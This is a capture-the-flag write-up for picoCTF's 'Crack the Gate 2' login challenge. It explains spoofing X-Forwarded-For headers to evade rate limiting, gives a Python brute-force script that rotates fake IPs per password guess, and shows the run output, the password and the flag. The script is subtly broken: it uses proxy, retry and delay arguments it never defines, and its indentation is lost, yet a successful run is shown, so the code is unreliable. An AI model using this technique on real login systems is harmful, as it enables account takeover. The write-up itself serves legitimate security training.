Crack the Gate 2
- Description: The login system has been upgraded with a basic rate-limiting mechanism that locks out repeated failed attempts from the same source. We've received a tip that the system might still trust user-controlled headers. Your objective is to bypass the rate-limiting restriction and log in using the known email address: ctf-player@picoctf.org and uncover the hidden secret.
🔎 Solution​
This challenge was a common web CTF scenario: the target employed rate-limiting based on the request source", but trusted client-controlled headers (for example, X-Forwarded-For).
The general idea to bypass the restriction was simple - perform each attempt appearing to originate from a different source by injecting a header value under our control.
First, we needed to determine which header the server used to identify the source.
To test this, we added a header such as X-Forwarded-For: 1.2.3.4 and observed the server's response.
The reply differed from the baseline behavior.

When we retried requests using that same IP value, the server began blocking them, whereas requests using other IP values were allowed.
From this behaviour we could infer that the server was relying on the X-Forwarded-For value to identify and, if necessary, block a source.
The task provided a small word list containing 20 possible passwords.
The objective became: brute-force those 20 passwords while presenting each password attempt as coming from a different IP address.
One obvious approach would be to use Burp Suite Intruder with a cluster-bomb attack mode, pairing password candidates with varying X-Forwarded-For values.
However, because Intruder felt slow in this instance, I opted for a different method.
I implemented a lightweight script to automate the process.
The script generated distinct IP values, issued POST requests to /login with each password attempt and the corresponding injected header, and examined the responses.
Any response containing the string pico was treated as a likely positive indicator (a possible flag-containing response).
#!/usr/bin/env python3
import argparse, requests, random, time, sys, json
def rand_ip():
return f"201.0.113.{random.randint(1,254)}"
def detect_success(resp, success_indicator, success_statuses):
if success_indicator and success_indicator in resp.text:
return True
if success_statuses and resp.status_code in success_statuses:
return True
if resp.status_code in (302,303):
return True
return False
def main():
p = argparse.ArgumentParser()
p.add_argument('--wordlist', required=True)
p.add_argument('--url', required=True, help='full login URL e.g. http://host:port/login')
p.add_argument('--email', required=True)
p.add_argument('--success-indicator', default=None, help='string to look for on success (optional)')
p.add_argument('--success-status', type=int, nargs='*', default=[], help='HTTP status code(s) considered success')
args = p.parse_args()
proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
session = requests.Session()
session.verify = True
with open(args.wordlist, 'r', encoding='utf-8', errors='ignore') as f:
passwords = [line.strip() for line in f if line.strip()]
print(f"[+] loaded {len(passwords)} passwords")
for i, pwd in enumerate(passwords, 1):
xff = rand_ip()
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Accept": "*/*",
"Content-Type": "application/json",
"Origin": "http://amiable-citadel.picoctf.net:55007/",
"Referer": "http://amiable-citadel.picoctf.net:55007/",
"X-Forwarded-For": xff,
"X-Real-IP": xff
}
payload = {"email": args.email, "password": pwd}
tries = 0
resp = None
while tries < args.max_retries:
tries += 1
try:
resp = session.post(args.url, headers=headers, data=json.dumps(payload), proxies=proxies, timeout=15, allow_redirects=False)
break
except Exception as e:
print(f"[!] network error (try {tries}) for pwd='{pwd}': {e}")
time.sleep(1)
if resp is None:
continue
print(f"[{i}/{len(passwords)}] pwd='{pwd}' XFF={xff} -> status={resp.status_code} len={len(resp.text)}")
if detect_success(resp, args.success_indicator, args.success_status):
print("=== POSSIBLE SUCCESS ===")
print("Password:", pwd)
print("X-Forwarded-For:", xff)
print("Status:", resp.status_code)
print("Response snippet:\n", resp.text[:2000])
return
time.sleep(args.delay)
print("[*] done. no success detected.")
if __name__ == "__main__":
main()
The experiment succeeded: the correct password turned out to be X68f2Ftm, and from the resulting response we recovered the flag.
> python script.py --wordlist passwords.txt --url "http://amiable-citadel.picoctf.net:55007/login" --email ctf-player@picoctf.org --success-indicator "pico"
[+] loaded 20 passwords
[1/20] pwd='H3ZdQe9D' XFF=201.0.113.211 -> status=200 len=17
[2/20] pwd='4s8RNXkB' XFF=201.0.113.134 -> status=200 len=17
[3/20] pwd='G9YKC9r1' XFF=201.0.113.12 -> status=200 len=17
[4/20] pwd='J49Q5uuo' XFF=201.0.113.205 -> status=200 len=17
[5/20] pwd='ZARenM3b' XFF=201.0.113.27 -> status=200 len=17
[6/20] pwd='X68f2Ftm' XFF=201.0.113.43 -> status=200 len=132
=== POSSIBLE SUCCESS ===
Password: X68f2Ftm
X-Forwarded-For: 201.0.113.43
Status: 200
Response snippet:
{"success":true,"email":"ctf-player@picoctf.org","firstName":"pico","lastName":"player","flag":"picoCTF{xff_byp4ss_brut3_3477bf15}"}
🚩Flag​
picoCTF{xff_byp4ss_brut3_3477bf15}